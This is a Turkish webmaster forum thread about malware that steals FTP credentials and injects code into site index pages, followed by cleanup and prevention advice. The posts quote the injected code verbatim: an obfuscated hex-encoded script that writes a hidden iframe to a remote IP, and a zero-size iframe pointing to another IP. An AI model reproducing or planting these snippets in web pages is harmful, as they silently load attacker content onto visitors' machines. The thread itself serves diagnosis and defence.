Kaynak kodları değiştiren virüs

Merhaba arkadaşlar;
Web sitemde bir çeşit virüs var ve web sayfalarımın kodlarına kendisini ekliyor.

Eklediği kod:
<!-- o65 --><script type="text/javascript">
function E4C91FB26400DB2E8E6D1A43F8(E24F89741580A88A1){func tion B7BF85150AC30DBA42(){return 16;}return(parseInt(E24F89741580A88A1,B7BF85150AC3 0DBA42()));}function E34AB0D7708CB83225AC60547C769(A558AE9C2D9A9BCFF8A1 36E3D631DD2){var B23FC86F17B841112="";for(C39BD7887D5CF0A0869467393 D621AF=0;C39BD7887D5CF0A0869467393D621AF<A558AE9C2 D9A9BCFF8A136E3D631DD2.length;C39BD7887D5CF0A08694 67393D621AF+=2){B23FC86F17B841112+=(String.fromCha rCode(E4C91FB26400DB2E8E6D1A43F8(A558AE9C2D9A9BCFF 8A136E3D631DD2.substr(C39BD7887D5CF0A0869467393D62 1AF,2))));}document.write(B23FC86F17B841112);}E34A B0D7708CB83225AC60547C769("3C696672616D65207372633 D27687474703A2F2F35382E36352E3233332E39372F666F727 56D2F6F75742E706870272077696474683D273127206865696 768743D273127207374796C653D27646973706C61793A20686 96464656E3B273E3C2F696672616D653E");
</script><!-- c65 -->

Bu kodu index, default, login vb. sayfalara atıyor. Php, asp, html olması farketmiyor. Bu olaydan sonra veri tabanlarımı sildim, hostumun içindeki dosyaları sildim ve bilgisayarıma fdisk attım. Şu anda web sitemde basit bir index.html var ve aynı şey tekrar oldu. O kod yine kendisini kaynak kodların arasına ekledi ve sayfanın düzgün çalışmasını engelliyor. Lütfen yardım edin, ne yapmalıyım. Hosting firmamla konuştum ve sunucularımızda virüs olma ihtimali yok diyorlar.

bilgisayarına neden fdisk çektin anlamadım.

server la alakalı olmasın sakın.

Çok moda oldu bu sıralarda bu tip tojanler.

Hostu aaldığım firmaya durumu anlattım ama bizim sunucularımızda böyle birşeyin olması mümkün değil dediler. O yüzden sorunu benden kaynaklandığını düşündüm ve fdisk attım. Hiç birşeyi yedeklemedim her şeyi sıfırdan yaptım ama neredeyse 1 ayı geçti ama hala kurtulamadım, attığım formatı sayısınıda atırlamıyorum.

Son zamanlarda büyük hızla yolunda yüreyen yeni virüs bir çok webmasterin sorunu oldu ve olmayada devam ediyor..
Bu virüs bir kere bilgisayarınıza bulaştıkdan sonra o bilgisayarla hangi sitenin ftp'ini açarsanız açın girdiğiniz ftp bilgilerini kaydederek, sitelere girip index.php , index.html , index.htm , default.asp 'in içlerine iframe kodu atiyor atılan iframe kodu şu şekildedir..

PHP Kodu:
<iframe src='http://81.95.145.240/logo/index.php' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>

Ve Sadece www/public htm/ dizinine değil diğer bütün klasörülerin içinde bulunan index.php , index.html , index.htm , default.asp 'in içinede atıyor..
Şimdiye kadar bir çok başlık gördüm bu şekilde bu virüslerden yakınan o yüzden bu yazıyı yazma gereği duydum...
Virüs size nasıl bulaşır ?

başka kişinin sitesine bulaşmışsa ve sizde o siteye girdiyseniz üstelik hiç bir antivirüs yüklü değilse bilgisayarınıza; Bilinki o virüs artık sizinde bilgisayarınızda ve girdiğiniz bütün ftp'lere girmeye başlayacaktır..

Peki Virüs Sizin Bilgisayarınıza Bulaştı ve bunun farkına vardınız ne yapmamız gerekir ?

Sadece ftp bilgilerinizi alabildiği için hemen dosyalarınızı pc'ye atıp içindeki iframe kodlarını silin ve tekrar ftp'den upload edin. Sonra hiç vakit kaybetmeden cpanel/plesk panelinize girin ve şifrenizi değiştirin. Bu işlemleri yaptıktan sonra sakın ftp'den giriş yapmayın. Çünkü ftp'den giriş yaptığınızda değiştirdiğiniz şifreyide alarak tekrar dosyalarıza iframe atmaya başlayacaktır.. Bu işlemleride yaptıktan sonra bilgisayarıza format atin..

Virüs Bana bulaşmadı Nasıl korunabilirim ?

Filezilla veya cuteftp kullanarak serverinize bağlanın, index.php ,index.htm, index.html, default.asp Bütün klasörlerdeki bu saydığım uzantılı sayfalarınızın chmod değerlerini 444 yapın. Bilgisayarınıza Nod32, Panda veya Kaspersky kurun ( ben Kaspersky kullanıyorum ve çoğu sitede virüs yakaladı ama bana bulaşmadı) Bilgisayarınızı güvene alın. Her ftpye girdikten sonra direk cpanelden yada plesk paneden girerek ftp şifrenizi değiştirin. Birde bilgisayarınıza Ad-Aware SE Personal 'i kurun iki günde bir tarama yaptırın.

Bende de bu virüsten bulaştı ve ortalığı tehdit ediyor.

arkadaşlar aynı sorun bende de var şimdilik birşey yapamıyorum bilgisayarıma format atayım üsttrki yazıya göre deniyeceğim inşallah sorun çözülür yazı için teşekkürler (Hortlatma gibi oldu ama napiim )

Temizleme yolu ve daha önceden bu virus hakkında açılmış konu.
https://www.r10.net/webmaster-genel-k...diyor-ama.html

Arkadaşlar hepinize yardımınız için teşekkür ederim.
Sizlerin verdiği bilgiler ve hostin firmalarından aldığım öneriler doğrultusunda kurtulmak için yaptığım işlemleri anlatayım.

Öncelikle önemli olmadığı için hostumdaki dosyaları sildim daha sonra bilgisayarıma format attım. Host şifrelerimi değiştirdim ve herşeyi tekrar kurdum. Önlemolsun diye de kodun kendini yerleştirdiği index.html, asp, php vb. sayfaların yazılabilirlik yetkilerini kaldırdım. Şu anda web sitem sorunsuz çalışıyor.

Hepinize tekrar teşekkürler...